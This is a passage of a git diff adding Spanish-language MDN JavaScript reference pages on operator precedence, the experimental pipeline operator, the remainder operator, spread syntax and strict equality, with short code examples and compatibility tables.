+   <td rowspan="12">right-to-left</td>
+   <td><code>=</code></td>
+  </tr>
+  <tr>
+   <td><code>+=</code></td>
+  </tr>
+  <tr>
+   <td><code>-=</code></td>
+  </tr>
+  <tr>
+   <td><code>*=</code></td>
+  </tr>
+  <tr>
+   <td><code>/=</code></td>
+  </tr>
+  <tr>
+   <td><code>%=</code></td>
+  </tr>
+  <tr>
+   <td><code>&lt;&lt;=</code></td>
+  </tr>
+  <tr>
+   <td><code>&gt;&gt;=</code></td>
+  </tr>
+  <tr>
+   <td><code>&gt;&gt;&gt;=</code></td>
+  </tr>
+  <tr>
+   <td><code>&amp;=</code></td>
+  </tr>
+  <tr>
+   <td><code>^=</code></td>
+  </tr>
+  <tr>
+   <td><code>|=</code></td>
+  </tr>
+  <tr>
+   <td>17</td>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/yield" title="JavaScript/Reference/Operators/yield">yield</a></td>
+   <td>right-to-left</td>
+   <td><code>yield</code>…</td>
+  </tr>
+  <tr>
+   <td>18</td>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Special/Comma_Operator" title="JavaScript/Reference/Operators/Special_Operators/Comma_Operator">comma</a></td>
+   <td>left-to-right</td>
+   <td><code>,</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p></p>
diff --git a/files/es/web/javascript/referencia/operadores/pipeline_operator/index.html b/files/es/web/javascript/referencia/operadores/pipeline_operator/index.html
new file mode 100644
index 0000000000..cb671264cc
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/pipeline_operator/index.html
@@ -0,0 +1,78 @@
+---
+title: Operador Pipeline
+slug: Web/JavaScript/Referencia/Operadores/Pipeline_operator
+tags:
+  - Encadenamiento
+  - Experimental
+  - JavaScript
+  - Operador
+  - Pipeline
+translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator
+---
+<div>{{jsSidebar("Operators")}} {{SeeCompatTable}}</div>
+
+<p>El operador experimental pipeline <code>|&gt;</code> (actualmente en su fase1) conduce el valor de una expresión dentro de una función. Esto permite la creación de llamadas de función en cadena de un modo más legible. El resultado es una simplificación sintáctica en la cual la llamada a una función con un único parámetro puede ser escrita del siguiente modo:</p>
+
+<pre class="brush: js">let url = "%21" |&gt; decodeURI;</pre>
+
+<p>La llamada equivalente en sintaxis tradicional tiene este aspecto:</p>
+
+<pre class="brush: js">let url = decodeURI("%21");
+</pre>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>expression</em> |&gt; <em>function</em>
+</pre>
+
+<p>El valor especificado en la <code>expression</code> se pasa dentro de la  <code>function</code> como su único parámetro.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Encadenando_llamadas_a_funciones">Encadenando llamadas  a funciones</h3>
+
+<p>El operador pipeline puede mejorar la legibilidad cuando se encadenan varias funciones entre si.</p>
+
+<pre class="brush: js">const double = (n) =&gt; n * 2;
+const increment = (n) =&gt; n + 1;
+
+// sin operador pipeline
+double(increment(double(double(5)))); // 42
+
+// con operador pipeline
+5 |&gt; double |&gt; double |&gt; increment |&gt; double; // 42
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-pipeline-operator/#sec-intro">Borrador del operador Pipeline</a></td>
+   <td>Fase 1</td>
+   <td>Todavía no forma parte de la especificación ECMAScript</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si quieres contribuir a estos datos, por favor consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y mándanos una pull request.</div>
+
+<p>{{Compat("javascript.operators.pipeline")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://github.com/tc39/proposal-pipeline-operator">Github - Proposal-pipeline-operator</a></li>
+ <li><a href="https://github.com/tc39/proposals">TC39 proposals</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/resto/index.html b/files/es/web/javascript/referencia/operadores/resto/index.html
new file mode 100644
index 0000000000..1a6a7c56da
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/resto/index.html
@@ -0,0 +1,82 @@
+---
+title: Resto (%)
+slug: Web/JavaScript/Referencia/Operadores/Resto
+translation_of: Web/JavaScript/Reference/Operators/Remainder
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>El operador resto (<code>%</code>) devuelve el resto de la división entre dos operandos. Siempre toma el signo del dividendo.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-remainder.html")}}</div>
+
+<div></div>
+
+<p class="hidden">El código fuente para este ejemplo interactivo se encuentra en un repositorio de GitHub. Si quieres contribuir al proyecto de ejemplos interactivas, por favor clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y realiza un pull request.</p>
+
+<p>Tener en cuenta que en la mayoría de los lenguajes de programación, el operador de resto es ‘%’, pero en otros (como <a href="https://en.wikipedia.org/wiki/Modulo_operation#In_programming_languages">Python, Perl</a>) es el operador módulo. Ambos son iguales para valores positivos, pero cuando el divisor y el dividendo son de signos distintos, se obtienen distintos resultados. Para obtener el módulo en JavaScript, en lugar de <code>a % n</code>, usa <code>((a % n ) + n ) % n</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><strong>Operador:</strong> <var>var1</var> % <var>var2</var>
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Resto_con_dividendo_positivo">Resto con dividendo positivo</h3>
+
+<pre class="brush: js notranslate"> 12 % 5  //  2
+ 1 % -2 //  1
+ 1 % 2  //  1
+ 2 % 3  //  2
+5.5 % 2 // 1.5
+</pre>
+
+<h3 id="Resto_con_dividendo_negativo">Resto con dividendo negativo</h3>
+
+<pre class="brush: js notranslate">-12 % 5 // -2
+-1 % 2  // -1
+-4 % 2  // -0</pre>
+
+<h3 id="Resto_con_NaN">Resto con NaN</h3>
+
+<pre class="brush: js notranslate">NaN % 2 // NaN</pre>
+
+<h3 id="Resto_con_Infinity">Resto con Infinity</h3>
+
+<pre class="brush: js notranslate">Infinity % 2 // NaN
+Infinity % 0 // NaN
+Infinity % Infinity // NaN
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-multiplicative-operators', 'Remainder operator')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("javascript.operators.remainder")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Addition">Addition operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Subtraction">Subtraction operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Division">Division operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Multiplication">Multiplication operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Exponentiation">Exponentiation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Increment">Increment operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Decrement">Decrement operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_negation">Unary negation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_plus">Unary plus operator</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/sintaxis_spread/index.html b/files/es/web/javascript/referencia/operadores/sintaxis_spread/index.html
new file mode 100644
index 0000000000..5a17cd05a2
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/sintaxis_spread/index.html
@@ -0,0 +1,242 @@
+---
+title: Sintáxis Spread
+slug: Web/JavaScript/Referencia/Operadores/Sintaxis_Spread
+tags:
+  - ECMAScript6
+  - Iteradores
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Operators/Spread_syntax
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div><strong>La sintaxis extendida o spread</strong> <strong>syntax</strong> permite a un elemento iterable tal como un arreglo o cadena ser expandido en lugares donde cero o más argumentos (para llamadas de  función) o elementos (para <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Guide/Grammar_and_types#Literales_Array">Array literales</a>) son esperados, o a un objeto ser expandido en lugares donde cero o más pares de valores clave (para <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Guide/Grammar_and_types#Literales">literales Tipo Objeto</a>) son esperados.</div>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-spreadsyntax.html")}}</div>
+
+<div></div>
+
+<p class="hidden">La fuente para este ejemplo interactivo está almacenada en el repositorio de GitHub. Si quieres contribuir al proyecto interactivo de ejemplos, por favor clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una solicitud de descarga (pull).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>Para llamadas de funciones:</p>
+
+<pre class="syntaxbox notranslate">myFunction(...iterableObj);
+</pre>
+
+<p>Para arreglos literales o cadenas de caracteres:</p>
+
+<pre class="syntaxbox notranslate">[...iterableObj, '4', 'five', 6];</pre>
+
+<p>Para objetos literales (nuevo en ECMAScript 2018):</p>
+
+<pre class="syntaxbox notranslate">let objClone = { ...obj };</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Spread_en_llamadas_de_función">Spread en llamadas de función</h3>
+
+<h4 id="Reemplaza_apply">Reemplaza "apply"</h4>
+
+<p>Es frecuente usar {{jsxref( "Function.prototype.apply")}} en casos donde quieres usar los elementos de un arreglo como argumentos de una función.</p>
+
+<pre class="brush: js notranslate">function myFunction(x, y, z) { }
+var args = [0, 1, 2];
+myFunction.apply(null, args);</pre>
+
+<p>Con la sintaxis expandida (spread syntax), el código anterior puede ser escrito como:</p>
+
+<pre class="brush: js notranslate">function myFunction(x, y, z) { }
+var args = [0, 1, 2];
+myFunction(...args);</pre>
+
+<p>Cualquier argumento en la lista de argumentos puede usar la sintáxis expandida y esto puede ser usado varias veces.</p>
+
+<pre class="brush: js notranslate">function myFunction(v, w, x, y, z) { }
+var args = [0, 1];
+myFunction(-1, ...args, 2, ...[3]);</pre>
+
+<h4 id="Apply_para_new">"Apply" para "new"</h4>
+
+<p>Cuando se llama un constructor con <code>new</code>, no es posible usar <strong>directamente</strong> un arreglo y <code>apply</code> (<code>apply</code> hace un <code>[[Call]]</code> y no un <code>[[Construct]]</code>). Sin embargo, un arreglo puede ser fácilmente usado con un new gracias a la sintáxis expandida:</p>
+
+<pre class="brush: js notranslate">var dateFields = [1970, 0, 1];  // 1 Jan 1970
+var d = new Date(...dateFields);
+</pre>
+
+<p>Para usar <strong>new </strong>con un arreglo de parámetros sin la sintáxis expandida, podrías tener que hacerlo <strong>indirectamente </strong>a través de una aplicación parcial:</p>
+
+<pre class="brush: js notranslate">function applyAndNew(constructor, args) {
+   function partial () {
+      return constructor.apply(this, args);
+   };
+   if (typeof constructor.prototype === "object") {
+      partial.prototype = Object.create(constructor.prototype);
+   }
+   return partial;
+}
+
+
+function myConstructor () {
+   console.log("arguments.length: " + arguments.length);
+   console.log(arguments);
+   this.prop1="val1";
+   this.prop2="val2";
+};
+
+var myArguments = ["hi", "how", "are", "you", "mr", null];
+var myConstructorWithArguments = applyAndNew(myConstructor, myArguments);
+
+console.log(new myConstructorWithArguments);
+// (internal log of myConstructor):           arguments.length: 6
+// (internal log of myConstructor):           ["hi", "how", "are", "you", "mr", null]
+// (log of "new myConstructorWithArguments"): {prop1: "val1", prop2: "val2"}</pre>
+
+<h3 id="Expandir_Array_literales">Expandir Array literales</h3>
+
+<h4 id="Un_literal_Array_más_poderoso">Un literal Array más poderoso</h4>
+
+<p>Sin <code><strong>sintaxis expandida (spread syntax)</strong></code>, para crear un nuevo arreglo usando un arreglo existente como parte de él,no es suficiente la sintaxis de Array literal y en su lugar se debe usar código imperativo con una combinación de <code>push</code>, <code>splice</code>, <code>concat</code>, etc. Con la sintaxis expandida, esto se vuelve mucho mas práctico:</p>
+
+<pre class="brush: js notranslate">var parts = ['shoulders', 'knees'];
+var lyrics = ['head', ...parts, 'and', 'toes'];
+// ["head", "shoulders", "knees", "and", "toes"]
+</pre>
+
+<p>Así como para expandir listas de argumentos, <code>...</code> puede ser usado en cualquier parte dentro del Array literal, y múltiples veces.</p>
+
+<h4 id="Copiar_un_arreglo">Copiar un arreglo</h4>
+
+<pre class="brush: js notranslate">var arr = [1, 2, 3];
+var arr2 = [...arr]; // like arr.slice()
+arr2.push(4);
+
+// arr2 becomes [1, 2, 3, 4]
+// arr remains unaffected
+</pre>
+
+<p><strong>Nota:</strong> La sintaxis expandida efectivamente va a un nivel de profundidad mientras copia un arreglo. Por lo tanto, esto no permite copiar arreglos multidimensionales como se muestra en los siguientes ejemplos (es lo mismo con {{jsxref("Object.assign()")}} y sintaxis spread).</p>
+
+<pre class="brush: js notranslate">var a = [[1], [2], [3]];
+var b = [...a];
+b.shift().shift(); // 1
+// Now array a is affected as well: [[], [2], [3]]
+</pre>
+
+<h4 id="Una_forma_mejor_para_concatenar_arreglos">Una forma mejor para concatenar arreglos</h4>
+
+<p>{{jsxref("Array.concat")}} es usada a menudo para concatenar un arreglo al final de un arreglo ya existente. Sin la sintaxis spread se realiza:</p>
+
+<pre class="brush: js notranslate">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+// Append all items from arr2 onto arr1
+arr1 = arr1.concat(arr2);</pre>
+
+<p>Con la sintaxis spread se transforma en:</p>
+
+<pre class="brush: js notranslate">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+arr1 = [...arr1, ...arr2];
+</pre>
+
+<p>{{jsxref("Array.unshift")}} es a menudo usada para insertar un arreglo de valores al inicio de un arreglo existente. Sin la sintáxis spread, esto es hecho como:</p>
+
+<pre class="brush: js notranslate">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+// Prepend all items from arr2 onto arr1
+Array.prototype.unshift.apply(arr1, arr2) // arr1 is now [3, 4, 5, 0, 1, 2]</pre>
+
+<p>Con la sintaxis spread se convierte en [Observa, sin embargo, que esto crea un nuevo arreglo <code>arr1</code>.  Diferente a {{jsxref("Array.unshift")}}, esto no modifica el arreglo original en sitio <code>arr1</code>]:</p>
+
+<pre class="brush: js notranslate">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+arr1 = [...arr2, ...arr1]; // arr1 is now [3, 4, 5, 0, 1, 2]
+</pre>
+
+<h3 id="Spread_en_literales_tipo_Objeto">Spread en literales tipo Objeto</h3>
+
+<p>La propuesta <a href="https://github.com/tc39/proposal-object-rest-spread">Propiedades Rest/Spread para ECMAScript</a> (etapa 4) agrega propiedades spread a los <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">literales Tipo Objeto</a>. Esto copia sus propiedades enumerables desde un objeto provisto dentro de un nuevo objeto.</p>
+
+<p>Shallow-cloning (excluyendo prototype) o la combinación de objetos es ahora posible usando una sintaxis más corta que {{jsxref("Object.assign()")}}.</p>
+
+<pre class="brush: js notranslate">var obj1 = { foo: 'bar', x: 42 };
+var obj2 = { foo: 'baz', y: 13 };
+
+var clonedObj = { ...obj1 };
+// Object { foo: "bar", x: 42 }
+
+var mergedObj = { ...obj1, ...obj2 };
+// Object { foo: "baz", x: 42, y: 13 }</pre>
+
+<p>Observa que {{jsxref("Object.assign()")}} desencadena <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setters</a> mientras que la sintaxis spread no lo hace.</p>
+
+<p>Observa que tú no puedes reemplazar o replicar la función {{jsxref("Object.assign()")}}:</p>
+
+<pre class="brush: js notranslate">var obj1 = { foo: 'bar', x: 42 };
+var obj2 = { foo: 'baz', y: 13 };
+const merge = ( ...objects ) =&gt; ( { ...objects } );
+
+var mergedObj = merge ( obj1, obj2);
+// Object { 0: { foo: 'bar', x: 42 }, 1: { foo: 'baz', y: 13 } }
+
+var mergedObj = merge ( {}, obj1, obj2);
+// Object { 0: {}, 1: { foo: 'bar', x: 42 }, 2: { foo: 'baz', y: 13 } }</pre>
+
+<p>En el ejemplo de arriba, el operador spread no trabaja como uno podría esperar: este dispersa un <em>arreglo</em> de argumentos en el literal Tipo Objeto, debido al parámetro rest.</p>
+
+<h3 id="Sólo_para_iterables">Sólo para iterables</h3>
+
+<p>La sintaxis Spread (otra que en el caso de las propiedades spread) puede ser aplicada sólo a los objetos <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator">iterables</a>:</p>
+
+<pre class="brush: js notranslate">var obj = {'key1': 'value1'};
+var array = [...obj]; // TypeError: obj is not iterable
+</pre>
+
+<h3 id="Spread_con_muchos_valores">Spread con muchos valores</h3>
+
+<p>Cuando se usa la sintaxis spread para llamados de funciones, tenga en cuenta la posibilidad de exceder el límite de longitud de argumentos del motor de JavaScript. Vea <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="The apply() method calls a function with a given this value, and arguments provided as an array (or an array-like object)."><code>apply()</code></a> para más detalles.</p>
+
+<h2 id="Sintaxis_Rest_parámetros">Sintaxis Rest (parámetros)</h2>
+
+<p>La sintaxis Rest luce exactamente como la sintaxis spread, pero esto es usado por la desestructuración de arreglos y objetos. De cierta forma, la sintaxis rest es la opuesta a la sintaxis spread: spread 'expande' un arreglo en sus elementos, mientras rest agrupa múltiples elementos y los 'condensa' en un único elemento. Consulta <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters">parámetros rest.</a></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array-initializer')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definido en varias secciones de la especificación: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-array-initializer">Array Initializer</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-argument-lists">Argument Lists</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array-initializer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Sin cambios.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object-initializer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Definido en <a href="https://tc39.github.io/ecma262/2018/#sec-object-initializer">Object Initializer</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página es generada a partir de datos estructurados. Si quieres contribuir con esta información, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud (pull).</div>
+
+<p>{{Compat("javascript.operators.spread")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters">Rest parameters</a> (también ‘<code>...</code>’)</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/spread_operator/index.html b/files/es/web/javascript/referencia/operadores/spread_operator/index.html
new file mode 100644
index 0000000000..28c75eb0f9
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/spread_operator/index.html
@@ -0,0 +1,219 @@
+---
+title: Operador de propagación
+slug: Web/JavaScript/Referencia/Operadores/Spread_operator
+tags:
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Operador
+translation_of: Web/JavaScript/Reference/Operators/Spread_syntax
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>El operador de propagación <em><strong>spread operator</strong></em> permite que una expresión sea expandida en situaciones donde se esperan múltiples argumentos (llamadas a funciones) o múltiples elementos (arrays literales).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>Llamadas a funciones:</p>
+
+<pre class="brush: js">f(...iterableObj);
+</pre>
+
+<p>Arrays literales:</p>
+
+<pre class="brush: js">[...iterableObj, 4, 5, 6]</pre>
+
+<p>Desestructuración <em>destructuring</em>:</p>
+
+<pre class="brush: js">[a, b, ...iterableObj] = [1, 2, 3, 4, 5];</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Un_mejor_método_apply">Un mejor método apply</h3>
+
+<p><strong>Ejemplo:</strong> Es común usar {{jsxref( "Function.prototype.apply")}} en casos donde se require un array como contenedor de los argumentos que se enviarán a una llamada de función:</p>
+
+<pre class="brush: js">function f(x, y, z) { }
+var args = [0, 1, 2];
+f.apply(null, args);</pre>
+
+<p>Con el operador spread de ES6, el ejemplo anterior se puede rescribir como:</p>
+
+<pre class="brush: js">function f(x, y, z) { }
+var args = [0, 1, 2];
+f(...args);</pre>
+
+<p>Cualquier argumento en la lista de argumentos puede usar la sintaxis de propagación <em>spread, </em>donde además puede ser usada varias veces.</p>
+
+<pre class="brush: js">function f(v, w, x, y, z) { }
+var args = [0, 1];
+f(-1, ...args, 2, ...[3]);</pre>
+
+<h3 id="Un_array_literal_mas_poderoso">Un array literal mas poderoso</h3>
+
+<p><strong>Ejemplo:</strong> La sintaxis de un array literal que existe hoy en día no es suficiente si se requiere agregar los elementos de un array dentro de otro array existente. Actualmente se debe escribir código imperativo usando una combinación de métodos como <code>push</code>, <code>splice</code>, <code>concat</code>, etc. Con la sintaxis de propagación <em>spread</em> esta tarea resulta mucho mas concisa:</p>
+
+<pre class="brush: js">var parts = ['shoulder', 'knees'];
+var lyrics = ['head', ...parts, 'and', 'toes'];</pre>
+
+<p>Al igual que con una lista de argumentos, en este caso también puede ser usado en cualquier ubicación dentro del array literal, además de poderse incluir una o varias veces.</p>
+
+<h3 id="Combinación_del_método_apply_y_el_operador_new">Combinación del método apply y el operador new</h3>
+
+<p><strong>Ejemplo:</strong> En ES5 no es posible combinar <code>new</code> y <code>apply</code> (en ES5  el método <code>apply</code> crea un <code>[[Call]]</code> y no un <code>[[Construct]]</code>). En ES6 la sintaxis de propagación <em>spread</em> soporta esto de forma natural:</p>
+
+<pre class="brush: js">var dateFields = readDateFields(database);
+var d = new Date(...dateFields);</pre>
+
+<h3 id="Un_método_push_mejorado">Un método push mejorado</h3>
+
+<p><strong>Ejemplo:</strong> {{jsxref("Global_Objects/Array/push", "push")}} suele usarse para agregar los elementos de un array al final de otro array existente. En ES5 esta tarea puede ser realizada de la siguiente manera:</p>
+
+<pre class="brush: js">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+// Agregar todos los elementos de arr2 a arr1
+Array.prototype.push.apply(arr1, arr2);</pre>
+
+<p>Usando el operador de propagación <em>spread</em> de ES6, este sería el resultado:</p>
+
+<pre class="brush: js">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+arr1.push(...arr2);</pre>
+
+<h3 id="Solo_funciona_para_iterables">Solo funciona para iterables</h3>
+
+<pre class="brush: js">var obj = {"key1":"value1"};
+function myFunction(x) {
+    console.log(x); // undefined
+}
+myFunction(...obj);
+var args = [...obj];
+console.log(args, args.length) //[] 0</pre>
+
+<h2 id="Operador_Rest">Operador Rest</h2>
+
+<p>El operador <em>Rest</em> es exactamente igual a la sintaxis del operador de propagación, y se utiliza para desestructurar arrays y objetos. En cierto modo, <em>Rest</em> es lo contrario de <em>spread</em>. <em>Spread</em> 'expande' un array en sus elementos, y <em>Rest</em> recoge múltiples elementos y los 'condensa' en uno solo.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Commentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('ES6', '#sec-array-initializer', 'Array Initializer')}}<br>
+     {{SpecName('ES6', '#sec-argument-lists', 'Argument Lists')}}</p>
+   </td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>
+    <ul>
+     <li>12.2.4 Array Initializer</li>
+     <li>12.3.6 Argument Lists</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Operación de spread en arrays literales</td>
+   <td>{{CompatNo}}<br>
+    <a href="https://code.google.com/p/v8/issues/detail?id=3018">v8 issue 3018</a></td>
+   <td>{{ CompatGeckoDesktop("16") }}<br>
+    {{ CompatGeckoDesktop("36") }} (Symbol.iterator)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Operación de spread en llamadas a funciones</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("27") }}<br>
+    {{ CompatGeckoDesktop("36") }} (Symbol.iterator)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Operación de spread en desestructuración<br>
+    <em>destructuring</em></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("34") }}<br>
+    {{ CompatGeckoDesktop("36") }} (Symbol.iterator)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Operación de spread en arrays literales</span></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("16") }}<br>
+    {{ CompatGeckoMobile("36") }} (Symbol.iterator)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Operación de spread en llamadas a funciones</span></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("27") }}<br>
+    {{ CompatGeckoMobile("36") }} (Symbol.iterator)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Operación de spread en desestructuración</span><br>
+    <em>destructuring</em></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("34") }}<br>
+    {{ CompatGeckoMobile("36") }} (Symbol.iterator)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Temas_relacionados">Temas relacionados</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters">Parámetros rest</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/strict_equality/index.html b/files/es/web/javascript/referencia/operadores/strict_equality/index.html
new file mode 100644
index 0000000000..0d09b1de71
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/strict_equality/index.html
@@ -0,0 +1,101 @@
+---
+title: Igualdad Estricta (===)
+slug: Web/JavaScript/Referencia/Operadores/Strict_equality
+translation_of: Web/JavaScript/Reference/Operators/Strict_equality
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>El operador de estricta igualdad (<code>===</code>) revisa si dos operandos son iguales y produce un resultado Booleano. A diferencia del operador de igualdad regular (==), el operador de estricta igualdad siempre considera que los operandos de distinto tipo de valor son diferentes y nunca similares.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-strict-equality.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">x === y</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
